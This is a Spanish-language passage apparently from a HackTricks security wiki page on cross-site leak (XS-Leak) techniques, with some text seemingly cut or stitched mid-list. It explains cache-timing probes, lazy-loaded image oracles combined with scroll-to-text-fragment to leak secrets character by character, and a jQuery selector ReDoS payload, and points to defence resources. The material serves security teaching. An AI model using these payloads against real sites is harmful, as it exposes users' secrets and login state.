  • Monitorear los eventos de navegación en la ventana recién abierta puede revelar si se desencadenó una descarga de archivo (sin navegación) o si el contenido se muestra en línea (ocurre navegación).

En escenarios donde solo los usuarios autenticados pueden desencadenar estas descargas, estas técnicas pueden usarse para inferir indirectamente el estado de autenticación del usuario en función de la respuesta del navegador a la solicitud de descarga.

Bypass de Caché HTTP Particionada

{% hint style="warning" %} Por eso esta técnica es interesante: Chrome ahora tiene particionamiento de caché, y la clave de caché de la página recién abierta es: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clave de caché es diferente, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: Ganando seguridad y privacidad mediante la partición de la caché
(Comentario de aquí) {% endhint %}

Si un sitio ejemplo.com incluye un recurso de *.ejemplo.com/recurso entonces ese recurso tendrá la misma clave de caché que si el recurso fuera solicitado directamente a través de la navegación de nivel superior. Esto se debe a que la clave de caché está compuesta por eTLD+1 de nivel superior y eTLD+1 del marco.

Dado que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20ms (por ejemplo) después. Si el origen cambió después de la parada, significa que el recurso estaba en caché.
O simplemente enviar algún fetch a la página potencialmente en caché y medir el tiempo que tarda.

Redirección Manual

Fetch con AbortController

Usa fetch y setTimeout con un AbortController para detectar si el recurso está en caché y para eliminar un recurso específico de la caché del navegador. Además, el proceso ocurre sin almacenar en caché contenido nuevo.

Contaminación de Script

  • Métodos de Inclusión: Elementos HTML (script
<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es agregar una gran cantidad de caracteres basura (por ejemplo, miles de "W") para llenar la página web antes del secreto o agregar algo como <br><canvas height="1850px"></canvas><br>.
Entonces, si por ejemplo nuestra inyección aparece antes de la bandera, la imagen se cargará, pero si aparece después de la bandera, la bandera + la basura evitarán que se cargue (tendrás que jugar con la cantidad de basura a colocar). Esto es lo que sucedió en este writeup.

Otra opción sería usar el scroll-to-text-fragment si está permitido:

Scroll-to-text-fragment

Sin embargo, haces que el bot acceda a la página con algo como

#:~:text=SECR

Entonces la página web será algo como: https://victima.com/post.html#:~:text=SECR

Donde post.html contiene los caracteres basura del atacante y la carga perezosa de la imagen, luego se agrega el secreto del bot.

Lo que este texto hará es hacer que el bot acceda a cualquier texto en la página que contenga el texto SECR. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así que ahí tienes tu oráculo para filtrar el secreto carácter por carácter.

Algunos ejemplos de código para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Tiempo de Carga Perezosa de Imágenes Basado en el Tiempo

Si no es posible cargar una imagen externa que podría indicar al atacante que la imagen se cargó, otra opción sería intentar adivinar el carácter varias veces y medir eso. Si la imagen se carga, todas las solicitudes tomarían más tiempo que si la imagen no se carga. Esto es lo que se usó en la solución de este informe resumido aquí:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

ReDoS de CSS

Si se utiliza jQuery(location.hash), es posible averiguar a través del tiempo si existe algún contenido HTML, esto se debe a que si el selector main[id='site-main'] no coincide, no es necesario verificar el resto de los selectores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Inyección de CSS

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defensas

Hay mitigaciones recomendadas en https://xsinator.com/paper.pdf también en cada sección del wiki https://xsleaks.dev/. Echa un vistazo allí para obtener más información sobre cómo protegerse contra estas técnicas.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}